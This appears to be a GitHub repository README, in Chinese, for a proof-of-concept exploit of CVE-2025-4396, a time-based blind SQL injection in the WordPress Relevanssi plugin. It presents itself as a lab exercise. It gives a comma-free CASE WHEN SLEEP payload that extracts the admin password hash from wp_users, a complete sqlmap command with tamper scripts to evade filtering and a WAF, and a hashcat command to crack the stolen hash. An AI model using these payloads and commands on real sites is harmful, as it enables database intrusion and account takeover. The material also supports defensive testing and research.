sup3rDav3/CVE-2025-4396

GitHub: sup3rDav3/CVE-2025-4396

针对 WordPress Relevanssi 插件的时间盲注 SQL 注入漏洞 PoC,提供绕过逗号过滤与贪婪 SLEEP 的手动和自动化利用方案。

Stars: 0 | Forks: 0

# CVE-2025-4396 — Relevanssi SQL 注入(基于时间的盲注) ## 概述 针对 **Relevanssi 4.24.4** WordPress 插件中基于时间盲注的 SQL 注入漏洞的概念验证 exploit。此实现专门针对以下加固环境: - **逗号被过滤** — 导致标准的 `SUBSTR(str, pos, len)` 和 `IF(cond, true, false)` 语法失效 - **出现贪睡行为** — 导致 MySQL 在评估完整表达式之前执行 `SLEEP()`,从而产生误报 ## 背景 在某些环境(例如 DVWP 实验室)中,标准的 SQL 注入 payload 会失效,主要原因如下: | 问题 | 影响 | |---|---| | 逗号被去除 | 破坏了 `SUBSTR(str, pos, len)` 和 `IF(cond, true, false)` | | 贪婪的 `SLEEP()` | MySQL 在完整的布尔表达式之前评估 sleep,导致误报 | 这两个问题都需要针对性的变通方法 —— 以下手动和自动方法均对此进行了处理。 ## 手动 Exploit (`asy.py`) 一个提供精准逐字符提取的异步 Python 脚本。避免了自动化工具的开销,并通过 `CASE WHEN` 逻辑绕过逗号过滤。 ### 功能 | 功能 | 实现 | |---|---| | 异步 I/O | 使用 `aiohttp` 进行非阻塞请求 | | 无逗号 payload | 使用 `SUBSTR(str FROM pos FOR len)` 语法 | | 非贪婪逻辑 | `CASE WHEN` 确保 `SLEEP()` 仅在条件为 `TRUE` 时触发 | ### 核心注入逻辑 ``` # 无逗号,基于 CASE WHEN 的时间 Payload condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}" injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)" ``` **为什么使用 `CASE WHEN` 而不是 `IF()`?** `IF()` 使用逗号并且受限于贪婪求值。`CASE WHEN` 进行延迟求值,确保 `SLEEP()` 仅在条件真正为 `TRUE` 时才被触发。 ## 自动化 Exploit (SQLMap) SQLMap 可以使用特定的 tamper 脚本和标志在此环境中自动发现漏洞。 ### 命令 ``` python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \ --tamper=commalessmid,if2case,between \ --technique=T \ --dbms=MySQL \ --no-cast \ --batch \ --threads=1 \ --dbs ``` ### 标志参考 | 标志 | 目的 | |---|---| | `--tamper=commalessmid,if2case` | 将 payload 重写为无逗号的 SQL;将 `IF()` 替换为 `CASE WHEN` | | `--tamper=between` | 将 `>` 比较替换为 `BETWEEN` 以绕过额外的 WAF | | `--technique=T` | 仅限于基于时间的盲注 | | `--no-cast` | 阻止会引入被禁用逗号的 `CAST()` 包装 | | `--threads=1` | 确保计时准确性 —— 并发请求会导致重叠的 sleep 延迟 | ## 实验室发现 | 字段 | 值 | |---|---| | 目标 | WordPress `wp_users` 表 | | 用户 | `admin` (ID = 1) | | 提取的 Hash | `REDACTED` | | 算法 | `phpass`(标准 WordPress 密码哈希) | ### 破解 Hash ``` hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt ``` - **模式 `-m 400`** 针对 phpass 哈希 - **攻击 `-a 0`** 是使用 rockyou.txt 的直接字典攻击 ## 参考资料 - [Relevanssi Plugin — WordPress.org](https://wordpress.org/plugins/relevanssi/) - [SQLMap Tamper Scripts](https://github.com/sqlmapproject/sqlmap/tree/master/tamper) - [OWASP: Blind SQL Injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection) - [phpass — Password Hashing Framework](https://www.openwall.com/phpass/)
标签:aiohttp, CASE WHEN, CISA项目, CMS安全, CVE-2025-4396, JavaScript, OpenVAS, PHP, PoC, Python, Relevanssi, SQLMap, Web安全, WordPress插件漏洞, 安全测试, 异步编程, 攻击性安全, 数据展示, 无后门, 时间盲注, 暴力破解, 红队, 绕过WAF, 蓝队分析, 逆向工具